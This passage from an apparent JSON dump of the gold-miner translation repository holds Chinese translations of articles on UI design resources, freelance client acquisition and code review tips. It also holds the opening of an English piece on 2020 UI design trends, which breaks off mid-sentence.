应用里“用户”这一栏可以很方便得帮你记住你下载了什么。\n\n![](https://cdn-images-1.medium.com/max/800/1*J_5zAxGLGQxma9wq5mZAYw.png)\n\nUbuntu\n\n**Ubuntu** (以上)。有非常多的字重。对于某些应用有点过于特殊了 — 不过对别的就很完美。可以在[Google Fonts](http://www.google.com/fonts/specimen/Ubuntu) 上找到。\n\n![](https://cdn-images-1.medium.com/max/800/1*qeIEbAW5ylrBL7SYjGfq5Q.png)\n\nOpen Sans\n\n**Open Sans**（以上）。一个读起来容易也很流行的字体。时候正文部分。可以在 [Google Fonts](http://www.google.com/fonts/specimen/Open+Sans) 上找到。\n\n![](https://cdn-images-1.medium.com/max/800/1*YWlIwiUEZU184CBTxhS3sw.png)\n\nBebas Neue.\n\n**Bebas Neue**（以上）。做标题很棒。全是大写的。可以在 [Fontfabric](http://fontfabric.com/bebas-neue/) - 这里面有很棒的“Bebas Neue in use”的展示。\n\n![](https://cdn-images-1.medium.com/max/800/1*lXoXBsreAzsDUNakvTTcQg.png)\n\nMontserrat\n\n**Montserrat**(以上)。只有两种字重，但是足够用了。绝对是最好的 Gotham 和 Proxima 的免费替代品，但是并没有这两个好。可以在 [Google Fonts](http://www.google.com/fonts/specimen/Montserrat) 上找到。\n\n![](https://cdn-images-1.medium.com/max/800/1*ffj71mDykTq41o2P2Y7XUA.png)\n\nRaleway\n\n**Raleway**（以上）。对于标题非常好；可能对于文本正文**有点** 过了（你看那些 W）。有非常好看得极细的字重（并没有照片）。可以在 [Google Fonts](http://www.google.com/fonts/specimen/Raleway) 上找到。\n\n![](https://cdn-images-1.medium.com/max/800/1*1ZvAfIv56PYBxJe0cvWzqw.png)\n\nCabin\n\n**Cabin**(以上)。可以在 [Google Fonts](http://www.google.com/fonts/specimen/Cabin) 上找到。\n\n![](https://cdn-images-1.medium.com/max/800/1*u0LHdpKxw076R1MGNWemiQ.png)\n\nLato\n\n**Lato**(以上)。可以在 [Google Fonts](http://www.google.com/fonts/specimen/Lato) 上找到。\n\n![](https://cdn-images-1.medium.com/max/800/1*st1Z0NEH4ORQKnUyBojmqQ.png)\n\nPT Sans\n\n**PT Sans**(以上)。可以在 [Google Fonts](http://www.google.com/fonts/specimen/PT+Sans) 上找到。\n\n![](https://cdn-images-1.medium.com/max/800/1*MntHOFiV1tpNPoPp76Wovw.png)\n\nEntypo Social\n\n**Entypo Social** (以上)。这是个图标字体。没有错，一旦你用了 Entypo,你会在**所有地方**看到它，但是这些社交网站的图标真是太棒了。不想在小小的有颜色的圈圈里重新创造一堆社交网站的 logo？没错，我也不想。在 [Entypo.com](http://www.entypo.com/) 可以找到。\n\n我会在这里给你留下一些资源：\n\n*   [**Beautiful Google web fonts**](http://hellohappy.org/beautiful-web-type/)。这个网站**非常棒**得展现出 Google Fonts 能有多好看。我从它那找了好多好多次灵感。\n*   [**FontSquirrel**](http://www.fontsquirrel.com/)。一堆最棒的商业用途的字体，并且全部都是免费的。\n*   [**Typekit**](https://typekit.com/)。如果你有 Adobe Creative Cloud（就是订购了 Photoshop 或者 Illustrator 等等），那么你可以有免费用到很棒的字体。没错，连 [Proxima Nova](https://typekit.com/fonts/proxima-nova) 都有！\n\n* * *\n\n### 规则7：像艺术家一样借鉴\n\n当我第一次试图坐下来然后设计应用的元素的时候 —— **一个按钮，一个表格，一个图标，一个弹出框， 所有的所有** —— 也是我第一次意识到自己对于如何让一个元素好看的知识是如何匮乏的时候。 \n\n但是多幸运的是，我并不是一定需要创造出什么新的 UI 元素。这就意味着我可以一直看别人是如何做的然后从中间挑点好的。\n\n但是我们要从哪里挑呢？这里有。\n\n#### [1. Dribbble](http://dribbble.com)\n\n这个特邀的“给设计师展示”网站有**网络上最好质量的 UI 设计作品**。你可以在这里找到几乎最好的网站。\n\n事实上，**你应该**关注我在 Dribble 上的作品[**这里**](https://dribbble.com/erikdkennedy)。这里也有一些人你可以关注：\n\n*  [Victor Erixon](https://dribbble.com/victorerixon)。他有一个非常独特个人样式 — 并且他的作品**很棒**。漂亮，干净，扁平的设计。这货做设计师只有大概 3 年，但是他已经是做得很顶尖了。\n*  [Focus Lab](https://dribbble.com/focuslab)。这些人是“Dribbble 名人”，并且他们的作品名副其实。非常多元化；一直是最顶尖的。\n*  [Cosmin Capitanu](https://dribbble.com/Radium)。一个非常厉害的多面手。他做得东西未来感十足，但又不过于高调。他**非常**善于使用颜色，然而他并不十分注重 UX 的东西 — 当然这个批评也针对 Dribbble 这个网站。\n\n![](https://cdn-images-1.medium.com/max/400/1*RBeNdi_ihQcqPkhDDB9Iig.png)\n\n![](https://cdn-images-1.medium.com/max/400/1*Ak6v-B69tzGoLQL9pjh1Yg.png)\n\n![](https://cdn-images-1.medium.com/max/400/1*FO0Qaq9QDSF4R7p-ZFzpLg.jpeg)\n\n这些分别都是 [Victor Erixon](https://dribbble.com/victorerixon)，[Focus Lab](https://dribbble.com/focuslab) 和 [Cosmin Capitanu](https://dribbble.com/Radium) 的作品。\n\n#### [2. Flat UI Pinboard](https://www.pinterest.com/warmarc/flat-ui-design/)\n\n我压根没听说过 \"warmarc\"，但是他手机 UI 的 pinboard（译者注：pinboard 指的是 pininterest 里的专栏) 在我绞尽脑汁找好看的 UI 时候**令人震惊**得好用。\n\n![](https://cdn-images-1.medium.com/max/800/1*eDgNkeU45KBKvw1Tb35WJw.png)\n\n#### [3. Pttrns](http://pttrns.com/)\n\n这里有一个列表的移动应用的截图。Pttrns 的好处是它整个网站是按照 —— 你懂得 —— UX 模式。这可以帮助你非常快速得搜索各种界面要素，无论你在做什么，管它是登录界面，用户信息，搜索结果，等等。\n\n![](https://cdn-images-1.medium.com/max/1000/1*Cacg0SgS2Mm7n-qaZyj6TQ.png)\n\n* * *\n\n我是那句**直到善于能模仿最好的作品之前，所有艺术家都应该是只鹦鹉**的坚信者。之后你就可以你自己的风格；开发出新的潮流。\n\n在这之间，让我们像小偷一样作图。\n\n这个章节的想法中，“像艺术家一样借鉴”是从这本书[eponymous book](http://www.amazon.com/gp/product/0761169253/ref=as_li_tl?ie=UTF8&camp=1789&creative=390957&creativeASIN=0761169253&linkCode=as2&tag=e03fd7-20&linkId=EOZRG5UP4D6JMFIR)中借鉴出来的。我并没有读那本书，主要原因是这个标题很好的概括了这本书里想表达的想法。\n\n* * *\n\n### 总结\n\n我写这篇文章是因为我希望自己在以前可以读到这篇。我希望这篇可以帮助你。如果你是个 **UX 设计师**，在你素描出个大框架后做一个好看的 mockup。如果你是个**开发者**，接手下一个自己的项目然后让它变得很**好看**。我不希望需要去上几年艺术学校才能做好的 UI。只要**观察**，**模仿**，并且**告诉你的朋友哪些可以用**。\n\n无论怎么样，这是迄今为止我学到的所有东西，同时我也一直会是个初学者。\n\n\n—-\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/7-steps-to-get-more-clients-as-a-freelance-developer.md",
    "content": "> * 原文地址：[How to get more clients as a freelance developer](https://medium.freecodecamp.org/7-steps-to-get-more-clients-as-a-freelance-developer-ee00342f9260)\n> * 原文作者：[Jad Joubran](https://medium.freecodecamp.org/@JoubranJad?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/7-steps-to-get-more-clients-as-a-freelance-developer.md](https://github.com/xitu/gold-miner/blob/master/TODO1/7-steps-to-get-more-clients-as-a-freelance-developer.md)\n> * 译者：[Ryden Sun](https://juejin.im/user/585b9407da2f6000657a5c0c)\n> * 校对者：[xilihuasi](https://github.com/xilihuasi), [Augustwuli](https://github.com/Augustwuli)\n\n# 作为自由开发者，7 个步骤让你获得更多的客户\n\n## 希望我早几年就知道的一些实用的技巧\n\n![](https://cdn-images-1.medium.com/max/1000/1*GjnIq3MYSQy3GP_nsCSFxA.jpeg)\n\n无论何时和开发朋友们谈起关于自由工作的话题，我们总是在讨论一些同样担心的问题：\n\n*   作为一个自由开发者，我怎样才能获得更多的客户？\n*   我结束了编程训练营并且想开始做一个自由工作者。我应该从哪开始？\n*   你如何处理廉价竞争？\n*   我应该收费多少？\n\n### “我怎样才能获得更多的客户？”\n\n我几年之前开始成为一个自由工作者，我在想获取更多的客户时，犯了很多错。\n\n我开始认为这就像一块披萨。收费低（割小一点的披萨），会获得更多的项目（更多块披萨）。对吧？\n\n![](https://cdn-images-1.medium.com/max/800/1*Yjyurn2b2xh2zISUFwRUPQ.jpeg)\n\n我当初也认为我需要明确地告诉别人我是一个自由工作者然后把这些信息发到社交媒体，不然的话，他们怎么能找到我？\n\n在我最终认识到一些东西之前我一直犯着这些错误。\n\n#### 收费低会给客户一种廉价的印象\n\n这也导致他们会要求我在相同的价钱下做更多的工作。我也认识到，如果你直接的自我推销会迅速让你丢失价值。\n\n不久我就认识到我的做法不对，我有能力获得有更高预算的高质量的项目，还有更好的工作环境。我现在所付出的努力比起之前来说少多了。\n\n在后来的一年里，我的工作生涯明显地改善了。我开始在全世界的大会上讲话，给公司和银行开讲习班并且在网上教课。后来，我变成了[谷歌 web 技术方面的开发专家](https://developers.google.com/experts/people/jad-joubran)。\n\n现在，我们已经抛弃了那些错误的概念，这里是一些好的消息：\n\n**你并不需要 10 年的经验才能获得更多的客户。 ⚡️**\n\n这和有多少年经验无关，它是和你能提供什么服务有关。是和整体的体验有关，从你的客户需要服务开始，直到所有都结束。\n\n这里有七个步骤，会帮助你获得更多的客户。\n\n### 1. 定义你自己 👨‍🎨\n\n在你开始获得更多客户前，首先你需要定义你想怎样出现在别人面前 —— 你形象是什么？你想人们怎样看到你？\n\n如果潜在的客户听说你，他们经常需要知道**你是谁**。他们会做的第一件事就是简单地谷歌一下你的名字。\n\n试一下这个：用浏览器隐身模式搜索你自己的名字。你对于自己的第一印象是什么？这和真正的你还有你所做的事情相符吗？\n\n**你可以影响人们对你的看法**\n\n如果不是完全相符，最好的改变你形象的方式是创建一个个人网页来展示你是谁和你擅长什么。在他们访问你网页的前两秒内，解释你是做什么的。\n\n> “让他简单易懂，让它令人印象深刻。让它令人有兴趣看下去。让它读起来有趣” —— Gary Vaynerchuk\n\n这会刺激你的来访者在在网页上看下去，在这里你会给他们证明你有你所说的经验。稍后会讲更多关于这方面的东西。\n\n### 2. 不要仅仅只作一个开发者 ⚡️\n\n当你在进行一项技术性项目的工作时，很容易太专注和集中于一些小的技术细节而忘了重点。\n\n但是如果你只专注于你被要求做的任务上，那你只会产出**平均水平**的结果。**你需要专注的是有质量的工作**\n\n![](https://cdn-images-1.medium.com/max/800/1*V0UjgCuX9HzTGK6nbAXQIQ.jpeg)\n\n当你专注于品质时，你需要进行一些你专业相关领域的工作。比如，如果你是一个前端开发者，你肯定需要知道用户体验和表现相关的基础。这会帮助你交付出杰出的结果。\n\n同样也适用于一些软技能，它们可以帮助你和客户建立良好关系。举个例子，沟通技巧或是商业策略。**理解项目背后的商业逻辑常常会将你从自由工作者转变成一个咨询顾问。**\n\n这些技能会证明你不仅仅只是一个开发者，你是一个追求高质量的专业人员。这会让你脱颖而出。\n\n### 3. 展示给他们，而不是告诉他们 👀\n\n所以，如何向人们证明你就是你所说的那样呢？光说你很擅长你所做的事情是不够的。你需要向他们证明你确实有这方面技能的经验。\n\n你只需要向他们展示你做了什么。如果你有之前做过的项目可以展示，那就简单了，你只需要展示出你最自豪的那一个。但是有时候（比如你的项目是机密的时候），这可能会有点投机取巧，但这是一个极好的机会向他们展示你的价值，都不需要说出来。\n\n这里有一个例子：当你去[我的网站](https://jadjoubran.io)时，我宣称我是一个技术大会的演讲者和 web 咨询顾问。\n\n你怎么知道这是不是真的？你可以看到背景视频，我在不同场合（研习班，大会）进行演讲。通过这，访问者迅速会舍弃任何猜疑并且信服我确实是一个技术大会的演讲者。\n\n![](https://cdn-images-1.medium.com/max/800/1*fNAPmAOrYporA01IzS0FuQ.jpeg)\n\n在第一屏就解释你是做什么的\n\n它并不需要一定是一个视频。你可以通过许多不同的方式来证明你的价值，比如陈列出你工作过的公司的 logo，还有展示出你在博客上写的文章。\n\n### 4. 使用间接推销方式 🎯\n\n当你考虑如何获得更多的客户时，许多人可能会想：好的，不如我开始在社交媒体上发动态说我找在自由工作的活？\n\n我在 Facebook、Linkedin、Twitter 和 Slack 上看到无数的开发者和设计师发状态跟全世界说我正在寻找自由工作的机会。\n\n最后结果是，这正是你不应该做的事情。你在自我推销的时候迅速丢失了你的价值。\n\n![](https://cdn-images-1.medium.com/max/800/1*ATY0-7Lb5lJx_0wfzmRtWg.jpeg)\n\n编 HTML 代码换口饭吃\n\n这样想一下。还记得当有人**打电话给你**，向你推销一种特定的服务是什么感觉？是有多廉价呢？你会不会大概率忽略或者或者迅速挂电话呢？\n\n**我学的到的最好的获取客户的技巧就是永远不要接触客户。**\n\n这听起来很矛盾，但却是真的。相反，你是运用了间接推销的概念。\n\n怎样呢？只需要简单地在社交网络上分享你最近工作的活动和项目而不需要提到你正在寻找客户的事实。在你几次分享你近期活动后，人们会开始知道你在做什么并且在有机会时，他们会迅速把你推荐给他们的朋友和相关的人。\n\n近 6 年来，我就是这样获得了我所有的项目。它管用的！\n\n如果你之前从没有过自由工作的项目，那就打造一个示例项目而不是到处寻找。让它看起来很吸引人。\n\n这是我发过的一个 tweet 例子。\n\n![](https://i.loli.net/2018/10/01/5bb207440840b.png)\n\n### 5. 目标不要在于稳定的项目来源 ⏳\n\n你可能认为成功的自由工作者意味着有稳定的项目来源并且是被自由工作百分百占用的。\n\n但是不需要一定这样，并且事实上，是不应该的。\n\n如果你全部时间都被自由工作占据了的话，你不会给自己留出创造的时间，学习新东西并且优化自己的个人形象。\n\n**我会为自己留出 50% 的时间做研究。**在这段时间内，我会看线上的大会，读技术文章并且尝试最新的技术。\n\n![](https://cdn-images-1.medium.com/max/800/1*LG1PJ4OxCjvE4noc24iydA.jpeg)\n\n人们经常会问我，你是怎么学习 XYZ.. 的，而答案永远是一样的：我为它做了一个示例 app。\n\n因此你没有一直寻找自由工作的项目并不严重，但是花时间学习新技术事实上会带给你更好的项目和机会。\n\n### 6. 找到自己的工作流程 🔖\n\n对于我们这样的自由工作者很难安排的有条理，因为我们有太多的职责要做。为了确保和每一个客户都有一个流畅的工作流程，要创造一个你可以在大多数项目上遵循的流程。\n\n这样，你会在任何潜在项目到来时有随时有一个可执行的计划。你不需要去担心那些细小的事情。\n\n![](https://cdn-images-1.medium.com/max/800/1*2elFS_hJ1y47D8sXpO_tNw.jpeg)\n\n这是我关于项目启动的工作流程例子：\n\n1.  发送提案 PDF\n2.  发送合约\n3.  签订和接受对方已签字的合约\n4.  发送定金发票\n5.  收取定金\n6.  完成自由工作任务\n7.  发送最终发票\n8.  发送反馈表单\n\n当你有自己的工作流程时，你会工作得很顺心因为这会让你的客户喜欢和你一起合作并且信任你。他们大多数情况下在未来将你推荐给其他公司。\n\n阅读更多关于[创造流程](https://www.proposify.com/definitive-guide-to-going-freelance-chapter-6)的文章。\n\n### 7. 收费高一些 💰\n\n如果你刚开始，对你第一个或第二个项目收费少是可以的，但是后面你需要开始收费高一些。\n\n你可能会认为你还不值得收费高一些，但是通过这些步骤会让你收费高一些，因为你已经有了收费更多的价值。\n\n你可能还不知道这个，但是**收费低会让你的客户感觉他们会得到低质量的交付结果。**\n\n如果因为你收费低，你已经有了很多自由工作的项目，那你可能会失去一些客户因为你提高了收费。但这确实是一件好事，因为你最终会挣得更多而且会有更多的时间来做研究。这是一个你不需要害怕去承担的风险，因为它值得。\n\n同样，你也不会和那些要求过多的客户合作，你会和那些欣赏你服务的客户合作。\n\n当提到价格时，你需要很舒适地收取这个费用 —— 然后提价 10% 到 25%。\n\n举个例子，你已经在一个项目工作了，收取 €80 一小时。自从你在过去的几个月已经花费了时间学习用户体验和 web 性能表现，那你现在应该提高你当前时薪的 15%，因为你给这个项目带来了更多的价值。\n\n遵循这些步骤，我已经完全改变了我的生活并且希望它也会改变你的生活。\n\n我不能再更多的强调尝试新技术的重要性了。不要等待机会来敲你的门。相反，要自己创造这些机会。\n\n这些这是我免费的电子邮件课程[变成一个专家级开发者](https://learn.jadjoubran.io/)的一小部分意见。如果你喜欢这些意见，那你绝对会喜欢我的课程，因为我们会在如何增长你的专业性上讲得更深入，获取更多的优质的客户，还有更多其他的东西。\n\n*   [自由工作](https://medium.freecodecamp.org/tagged/freelancing?source=post)\n*   [自我印象](https://medium.freecodecamp.org/tagged/self-improvement?source=post)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/8-tips-for-great-code-reviews.md",
    "content": "> * 原文地址：[8 Tips for Great Code Reviews](https://kellysutton.com/2018/10/08/8-tips-for-great-code-reviews.html)\n> * 原文作者：[Kelly Sutton](https://kellysutton.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/8-tips-for-great-code-reviews.md](https://github.com/xitu/gold-miner/blob/master/TODO1/8-tips-for-great-code-reviews.md)\n> * 译者：[xiaoxi666](https://github.com/xiaoxi666)\n> * 校对者：[Augustwuli](https://github.com/Augustwuli), [Raoul1996](https://github.com/Raoul1996)\n\n# 代码评审的 8 点建议\n\n**如果你想获得本系列博客的最近更新，请加入我们由几百个开发者组建的社区，并[订阅我的专栏](https://buttondown.email/kellysutton)。**\n\n学校有一点没有教你的是：如何进行代码评审。你学习了算法、数据结构，以及编程语言基础，但没有人坐下来说：“这是一些能让你提出更好的反馈的办法”。\n\n代码评审是编写良好软件过程中的关键步骤。代码评审在于尽可能使得其具备[高质量且 bug 少](https://blog.codinghorror.com/code-reviews-just-do-it/)的特点。良好的代码评审文化也会带来其他收益：你减少了[产生 bug 的因素](https://en.wikipedia.org/wiki/Bus_factor)；同时代码评审也是培养新成员和分享知识的良好途径。\n\n## 假设\n\n阅读本文之前，有必要作出几点假设，如下：\n\n*   你在一个受信任的环境中工作，或者你和你的团队正在改善你的信任度。\n*   你可以在非代码环境中提出反馈，也可以在你的团队中提出反馈。\n*   你的团队希望产出更好的代码，也理解 _perfect_ 是一个动词而非形容词。我们可能会为明天的工作找到更好的解决方案，同时我们需要保持开放的心态。\n*   你的公司注重代码的质量，并且理解高质量代码或许无法快速“上线”。这里引用“上线”是为了说明：很多时候未经测试和评审的代码实际上可能不起作用。\n\n有了上述假设条件，接下来让我们进入正文。\n\n## 1. 我们是人类\n\n要知道其他人在你将要评审的代码中投入了很多时间，他们也想让代码质量更高。你的同事（通过代码）努力地表达自己的意图，谁也不想写出蹩脚的代码。\n\n保持客观是很困难的。请确保总是评判代码本身，并试着去理解上下文的含义。尽可能减轻评判带来的不良影响。不要说：\n\n> 你写的这个方法令人费解。\n\n尝试换个说法以针对代码本身，并增加你的解释：\n\n> 这个方法有点不好理解，我们是否可以为这个变量起一个更好的名字呢？\n\n这个例子中解释了我们作为读者时对代码的感觉，这关乎于我们自己以及我们对代码的解释，而与编写者的编码方式或意图无关。\n\n每个的 Pull Request 都有它本身的[高难度交流](https://www.amazon.com/Difficult-Conversations-Discuss-What-Matters/dp/0143118447)。尝试与你的队友达成共识, 共同努力以实现更好的代码。\n\n如果你刚刚认识一名团队成员，并且针对某个 Pull Request 有一些重要反馈，请共同浏览一遍代码。这将是发展同事关系的一个好机会。以这种方式与每个同事合作，直到你不再感到难为情。\n\n## 2. 自动检查\n\n如果计算机可以决定并执行一条规则的话，那就让计算机完成它。争论应使用空格还是 tabs 属于浪费时间。相反，应把时间花在制定规则上并且达成一致。这也是观察团队如何在低风险情景下处理“反对还是提交代码”的机会。\n\n编程语言和现代工具流不缺乏执行规则（的辅助检查程序）并反复应用它们的方法。在 Ruby 中，有 [Rubocop](https://github.com/rubocop-hq/rubocop)；在JavaScript中，有 [eslint](https://eslint.org/)。找到语言这类辅助检查程序，并将其嵌入到构建流中。\n\n如果你发现现有的辅助检查程序存在不足，那么可以自己编写！定制规则相当简单。在 Gusto 中，我们使用定制的辅助检查规则来捕获类的废弃用法，或者适当地提醒人们遵守某些 [Sidekiq](https://sidekiq.org/) 最佳实践。\n\n## 3. 全员评审\n\n听起来，把全部的代码评审工作交给 Shirley 是一个好主意。\n\nShieley 是一位大牛，她总是知道如何有效编程。她清楚系统的输入输出，在公司呆的时间比团队成员的总和都要长。\n\n然而对于某些事情，Shirley 理解它并不代表其他团队成员也理解了。评审 Shirley 的代码时，年轻的团队成员或许会在指出某些问题时犹豫不决。\n\n我意识到将评审工作分配给不同的成员会产生有益的团队动力和更好的代码。一名初级工程师在某次代码评审中作出的最有力的评论是：“我看不太懂。”这是使代码变得更加清晰简单的机会。\n\n在团队中推广代码评审。\n\n## 4. 保持可读性\n\n在 [Gusto](https://gusto.com) 中，我们使用 GitHub 管理我们的项目。GitHub 中的每个 `<textarea>` 都支持 [Markdown](https://github.github.com/gfm/)，这是一种在注释中添加 HTML 格式文本的简单方法。\n\n使用 MarkDown 是一种增加内容易读性的方式。GitHub 及你选用的工具可能会具备语法高亮功能，这对代码片段的阅读非常友好。使用一对反引号 (`` ` ``) 嵌入代码或三个反引号 (` ``` `) 增加代码块，带来更好的交流体验。\n\n善于利用 Markdown 语法（尤其当你写的代码包含注释时）。这样做将有助于使你的评论内容具体且重点突出。\n\n## 5. 至少反馈一条正面评价\n\n代码评审本质上是带有消极影响的事情。**在我把代码发到网上前，可以告诉我这个代码有什么问题**。这就是代码评审应该干的事情。开发者投入时间编写代码，同时希望你能指出如何能够做得更好。\n\n为此，总是应该给出至少一条正面评价，并且使其富有意义和充满人情味儿。如果有人最终解决了长期攻关的问题，请无保留地表露出兴奋，它可以是简单的一个 👍 或者 “赞一个”。\n\n在每次的代码评审中留下正面评价会微妙地提醒我们在一起共事。如果我们生产良好的代码，我们都将受益。\n\n## 6. 提供替代方案\n\n我尝试去做的一件事是：用替代方案来实现（相同的功能），尤其是刚刚开始学习一种编程语言和框架的时候。\n\n谨慎一些。如果表述不恰当，可能会让人觉得你傲慢或自私：“这是我实现的方式。”尽量保持客观，并讨论你所提供的备选方案的优缺点。如果你的方案很棒，将有助于拓展每个成员的技术视野。\n\n## 7. 延迟是关键因素\n\n快速修正代码非常重要。（下面的规则会使它变得更容易：**保持小代码量**。）\n\n长时间地延迟代码评审会降低生产力和斗志。被分配去评审 3 天前的 PR 会让人感到不舒服。**噢，的确如此。我究竟在干什么？反复地在上下文构建环境中切换。要纠正这一点，你需要提醒你的团队，进度依赖于整个团队而非个人。促使你的团队关注代码审查的延迟情况，并把它做得更好。**\n\n如果你希望减少自己的代码评审延迟，我建议遵循这条规则：**编写任何新代码之前，首先评审代码。**\n\n作为一种直接处理延迟的策略，尝试在代码评审时进行配对。找一个结对编程工作台，或者共享屏幕来浏览和评审代码。生成解决方案时采用配对方式，使大家都赞成它。\n\n## 8. 对提 pr 者的忠告：保持小代码量\n\n在一次代码评审中，你收到的反馈的质量与 Pull Request 的代码量成反比。\n\n为作出令人信服且有建设性的反馈，要知道更小的 Pull Request 更易于阅读。\n\n如果你保持 Pull Request 足够小（避免 [The Teeth](https://kellysutton.com/2018/07/20/the-teeth.html)）（译注：原文中用牙齿的大小类比代码块的大小，如果牙齿太大则可能会戳破皮肤，同理，代码块也不宜太大），你将需要结合上下文进行更大范围的交流。这个 Pull Request 如何合入本周本月的工作中？我们下一步要做什么，以及这个 Pull Request 是怎么推进工作的？诸如白板编程和面对面讨论这些形式的讨论非常重要。更小的 Pull Request 很难让人记住它的上下文。 \n\n不同的编程语言和团队对“小”有不同的定义。对我而言，我尽量保持 Pull Request 少于 300 行代码。\n\n## 结论\n\n希望这 8 条建议能够帮助你和你的团队作出更好的代码评审。通过改进你们的代码评审流程，你可以收获更好的代码、更融洽的队员，以及更好的业务发展。\n\n你的团队在实施代码评审的过程中使用到了哪些方法？[欢迎到我的 Twitter 上留言。](https://twitter.com/kellysutton)\n\n* * *\n\n需要更多博客资料？请查看系列 [**Feedback for Engineers**](https://kellysutton.com/2018/10/15/feedback-for-engineers.html)。\n\n特别感谢 [Omar Skalli](https://www.linkedin.com/in/omarskalli/)、[Justin Duke](https://twitter.com/justinmduke) 和 [Emily Field](https://www.linkedin.com/in/emily-field-50b1a555/) 在本文成稿过程中给予的反馈。\n\n如果你想获得本系列博客的最近更新，请参与由数百人组成的开发者社区，并[订阅我的专栏](https://buttondown.email/kellysutton)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/8-ui-ux-design-trends-for-2020.md",
    "content": "> * 原文地址：[8 UI design trends for 2020](https://uxdesign.cc/8-ui-ux-design-trends-for-2020-68e37b0278f6)\n> * 原文作者：[Dawid Tomczyk](https://medium.com/@dawidtomczyk)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/8-ui-ux-design-trends-for-2020.md](https://github.com/xitu/gold-miner/blob/master/TODO1/8-ui-ux-design-trends-for-2020.md)\n> * 译者：\n> * 校对者：\n\n# 8 UI design trends for 2020\n\n![](https://cdn-images-1.medium.com/max/2860/1*QpftgHDWJVL2zwM4KgIBjg.png)\n\nThe rapid growth of technology influences design trends every year. As designers we need be aware of the existing and upcoming design trends, constantly learning, improving and expanding our design toolkit in order to be up to date on the current market. Based on my research, experience and observations I’ve selected very carefully 8 UI/UX design trends that you should watch in 2020. Let’s get started then! :)\n\n---\n\n![](https://cdn-images-1.medium.com/max/2000/1*jAIfwF5TkGN8cvx5tXd4Pw.png)\n\nIllustrations have been in digital product design for a long time. Their evolution in the last years is very impressive. Illustrations as very popular design elements add natural feel and “human touch” to overall UX of our products. Illustrations are also very strong attention grabbers: at the top of that by applying motion to these illustrations we might bring our products to the life and make them stand out— adding extra details and personality.\n\n![Welcome to Swiggy by [Saptarshi Prakash](https://dribbble.com/saptarshipr)](https://cdn-images-1.medium.com/max/2000/1*NIpVGu31MRBN5ZOoh2dAjw.gif)\n\n![Onboarding animations — [Virgil Pana](https://dribbble.com/virgilpana)](https://cdn-images-1.medium.com/max/2000/1*nO8JMEHRAeUbhZ5uH1UzBg.gif)\n\nAnother benefit of applying motion is capturing users attention and making users engage with your product. Animations are also one of the most effective ways to **tell the story** about your brand, product or services.\n\n---\n\n![](https://cdn-images-1.medium.com/max/2260/1*Fb8-rQdPrEp38ofgYc1t7g.png)\n\nMicrointeractions exist pretty much in every single app or website. You see them every time when you’re opening your favourite app —for instance Facebook has tons of different microinteractions and I assume that the “Like” feature is just the perfect example. Sometimes we are not even aware of existence, because they are so so obvious, natural and “blended” into user interfaces. Altough, If you remove them from your product you will notice very quickly that something really important is missing.\n\n![Menu toggle close animation — [Aaron Iker](https://dribbble.com/aaroniker)](https://cdn-images-1.medium.com/max/2000/1*euDrScfMNdCN25w6NVyC-g.gif)\n\n![Tab bar active animation — [Aaron Iker](https://dribbble.com/aaroniker)](https://cdn-images-1.medium.com/max/2000/1*W0fsXNGi5V6WYCSb-MqEyA.gif)\n\nGenerally speaking, in UI/UX design sometimes even really small and subtle change might make huge impact. Microinteractions are the perfect proof that details and attention to them might greatly improve the overall user experience of your digital products and place them on 